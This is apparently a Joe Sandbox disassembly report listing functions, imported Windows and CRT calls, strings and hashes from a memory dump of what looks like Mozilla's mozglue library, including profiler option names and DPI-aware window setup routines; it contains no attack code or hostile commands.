API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 487a5849cd746bc6326fc5143fb520e112b7f90c2db3c541601930a646af8c7f
Instruction ID: 00aa817d710484ac027508d13b4393c06dc629c584fe7794dc47edc2d0abe7c2
Opcode Fuzzy Hash: 487a5849cd746bc6326fc5143fb520e112b7f90c2db3c541601930a646af8c7f
Instruction Fuzzy Hash: 31334A716056018FD308CF29C590615BBE2BF85328F2DC6ADE979CB7A5D771E882CB81

Function 6CB34EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CB34EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB34F2E
moz_xmalloc.MOZGLUE ref: 6CB34F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CB34F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB352E6
Sleep.KERNEL32(00000010), ref: 6CB35481
free.MOZGLUE(?), ref: 6CB35498

Strings

(, xrefs: 6CB35250

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 3854e4b8486f9f9ea7e5f660f2cc0e8cd8e1275af1c51790a85b4e68307d2610
Instruction ID: d6f4327da437fc6a407a4c9025cefa2ae12ed498181c164028eb54bf840e7e79
Opcode Fuzzy Hash: 3854e4b8486f9f9ea7e5f660f2cc0e8cd8e1275af1c51790a85b4e68307d2610
Instruction Fuzzy Hash: 88F10371A18B508FC716DF38C85062BB7F6BFD6284F45872EF84AA7654DB31C8468B81

Function 6CB22C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB22C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB22C61

Part of subcall function 6CAD4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAD4E5A
Part of subcall function 6CAD4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAD4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB22C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB22E2D

Part of subcall function 6CAE81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAE81DE

Strings

expected a Time entry, xrefs: 6CB22E36
ProfileBuffer parse error: %s, xrefs: 6CB22E3B
(root), xrefs: 6CB2354F

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 9a8d3b2dc3136446502885534dbab3ff24b211533be0f6b1734b09f51ed5e41e
Instruction ID: cc1f22e8813de4c602b730561888aa8a787efc50ba0746e75e2e21d0938e7fc1
Opcode Fuzzy Hash: 9a8d3b2dc3136446502885534dbab3ff24b211533be0f6b1734b09f51ed5e41e
Instruction Fuzzy Hash: D591BF706087C08FC724CF24C4956AFBBE5EF89268F50892DE59A8B750DB38D949CB53

Function 6CB39E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CB39F3D
__aulldiv.LIBCMT ref: 6CB39F77
__aullrem.LIBCMT ref: 6CB39F8C
__aulldiv.LIBCMT ref: 6CB3A023

Strings

-Infinity, xrefs: 6CB39E60, 6CB39E7B
NaN, xrefs: 6CB39EAB

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: c172250ff930f5476a46f80697acd05fa0272a4007d22c9f4b20f81b06937590
Instruction ID: e238c86d914fbb76665cff6723d3ff5fb9c8773fef018520feb2b9cca3d6d150
Opcode Fuzzy Hash: c172250ff930f5476a46f80697acd05fa0272a4007d22c9f4b20f81b06937590
Instruction Fuzzy Hash: FCC1C031E003698BDF14CFE8C85079EB7BAEF89704F245529D409ABB80DB70A949CF91

Function 6CADD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6CADDC7F
-, xrefs: 6CADD7DD
9, xrefs: 6CADDE7F
1, xrefs: 6CADDBDD
@, xrefs: 6CADDAF6
0, xrefs: 6CADD852
8, xrefs: 6CADDC08
, xrefs: 6CADDA88

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f83db76c67a4a8b28b2a950b4ab1f9327c040f545f54e671be3e56024bb81ef0
Instruction ID: 66a579a8e06fe43f9b1e1f370b6179cf729a35037e0ff385c592d60af16c2bd2
Opcode Fuzzy Hash: f83db76c67a4a8b28b2a950b4ab1f9327c040f545f54e671be3e56024bb81ef0
Instruction Fuzzy Hash: 8762BD70A1C3458FD701CE29C49075EBBF2AF86318F1A4A4DE4E54BA91C335A9C5CFA2

Function 6CADBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CADC1CB
__aulldiv.LIBCMT ref: 6CADC24C
__aulldiv.LIBCMT ref: 6CADC348
__aullrem.LIBCMT ref: 6CADC365
__aulldiv.LIBCMT ref: 6CADC37D

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: d5f0b15c3235b0d78a544ea69d751b464ddc8f53be866ed60ebef39950557a0c
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 0E322532B046118FC718DE2CC890A5ABBE6AFC9314F4A866DE895CB3D5D734ED05CB91

Function 6CB4545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB48A4B

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 73c7c3159083e7b7458b2d0fa071a261538accf879c5b6808920953281f62134
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: FCB11772E0425A8FDB24CF68CC807EDB7B6EF85314F1842A9C549DB789D7309989DB90

Function 6CB4542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB4925C

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: b0a5e2d7426b6a964172b7cc5d4514e3b0f92a900cd64f019a38c04953c1a319
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 0CB1E572E0424ACBDB14CF58CC806ADB7B6EF84314F144269C949EB789D730A989DB90

Function 6CB16CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CB16D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB16E1E

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 82306a3c76963a13245ee28a985a7f6f774adf3703406901cdb7a7ffc67797a8
Instruction ID: 0b265bc250909f6a16d4fb5a15f81b5c6b31b0e42bc5d59226405f59cfb910ca
Opcode Fuzzy Hash: 82306a3c76963a13245ee28a985a7f6f774adf3703406901cdb7a7ffc67797a8
Instruction Fuzzy Hash: 0BA17D756183808FCB15CF24C4907AEBBE6FF89308F44495DE88A87B51DB70A949CB92

Function 6CB385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB38C7C
__aulldiv.LIBCMT ref: 6CB38DD7

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 930a9499b9d9fa8ba45538adb393883e0da3a4e4513247c8d53651e5a506672b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 17327131F001698BDF18CE9DC4A17AEB7B2FB88300F15952BD50AFB790DA355D458B92

Function 6CB15C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CAE4A63,?,?), ref: 6CB15F06

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 37243aff297a13b6630296c00e3f830d3e7a680d174b7d07d2768a091af07cc9
Instruction ID: c285aefe597d8a73dd3e57ffc4985435ff30f298643fa8372b3d0453a67db626
Opcode Fuzzy Hash: 37243aff297a13b6630296c00e3f830d3e7a680d174b7d07d2768a091af07cc9
Instruction Fuzzy Hash: BCC1C075D052998FCB04CF94C5906EEBBB2FF8A318F28415DD8556BF44D732A809CB94

Function 6CB476E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: e1914e2fe6248d5f807700eb30622f872bb63f49a9ad1cb16e411ebc3ec0cc29
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: DE321871E046598FCB14CF98C880AADFBB2FF88308F648169C549B7749D771A986CF90

Function 6CB46E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: ffa59960caafe2f7c384bfd89f9c567d7d0f4fe018e28b04f9e46fe2190fa90a
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6122E871E046598FCB14CF98C880AADF7F2FF88304F6485A9C949A7749D771A986CF90

Function 6CB00512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 8b6cb8d2c6431803476cdb5f6908fd14f72cca191aa694a9771986ee6d894269
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: B8221971E04659CFDB18CF58C890A9DFBB2FF89308F548159D449A7745D731A986CF80

Function 6CB4AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df55ef00d8ca2c26c026fdbae1d309b4bd32e58cfc2113793ed0e813c4363cbe
Instruction ID: bcdd7a2ff492d4fd2e7692aa7c28b58fbdeb826eeeb3463ede1131b924bd20ec
Opcode Fuzzy Hash: df55ef00d8ca2c26c026fdbae1d309b4bd32e58cfc2113793ed0e813c4363cbe
Instruction Fuzzy Hash: AEF1027260C7859FDB00CE28C8907AEB7E6EF85319F14CA2DE5D487789E37498459B83

Function 6CADC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: b004b560ee31a1a1ecb3811f5839cad61875162eee6fd1458166896257489ebc
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: FEA1B171F0021A8FDB08CE69C8917AEB7F2AFC8358F598129D915E7781DB346D468BD0

Function 6CB355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CB0E1A5), ref: 6CB35606
LoadLibraryW.KERNEL32(gdi32,?,6CB0E1A5), ref: 6CB3560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB35633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB3563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB3566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB3567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB35696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB35716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB3572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB35748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB35761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB3577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB35793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB357FF

Strings

SetWindowPos, xrefs: 6CB356F7
StretchDIBits, xrefs: 6CB357CC
RegisterClassW, xrefs: 6CB356AC
CreateSolidBrush, xrefs: 6CB357E4
LoadIconW, xrefs: 6CB3575B
FillRect, xrefs: 6CB35729
LoadCursorW, xrefs: 6CB35774
CreateWindowExW, xrefs: 6CB356C5
EnableNonClientDpiScaling, xrefs: 6CB35666
GetDpiForWindow, xrefs: 6CB35690
GetWindowDC, xrefs: 6CB35710
ReleaseDC, xrefs: 6CB35742
user32, xrefs: 6CB35601
GetSystemMetricsForDpi, xrefs: 6CB35677
gdi32, xrefs: 6CB3560A
GetMonitorInfoW, xrefs: 6CB357A2
MonitorFromWindow, xrefs: 6CB3578D
AreDpiAwarenessContextsEqual, xrefs: 6CB35637
DeleteObject, xrefs: 6CB357F9
SetWindowLongPtrW, xrefs: 6CB357B7
ShowWindow, xrefs: 6CB356DE
GetThreadDpiAwarenessContext, xrefs: 6CB3562D

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: fbdd52dae88394bd231ef48ee0a1cc39c8b2f521ffb4e257a5c9f54b8d5f98c0
Instruction ID: 76744545956afcfbcb1f0e4a3133d43e990dd3f5648c51c444d916005310e79f
Opcode Fuzzy Hash: fbdd52dae88394bd231ef48ee0a1cc39c8b2f521ffb4e257a5c9f54b8d5f98c0
Instruction Fuzzy Hash: 7051B174701392ABEB009F35ED0492A7BFCEB062567949829ED16E3A46EB70CD01CF65

Function 6CB1CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAE582D), ref: 6CB1CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAE582D), ref: 6CB1CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB4FE98,?,?,?,?,?,6CAE582D), ref: 6CB1CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAE582D), ref: 6CB1CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAE582D), ref: 6CB1CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAE582D), ref: 6CB1CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAE582D), ref: 6CB1CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CB1CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CB1CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CB1CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CB1CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CB1CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CB1CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CB1CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CB1CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CB1CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CB1CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CB1CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CB1CE06
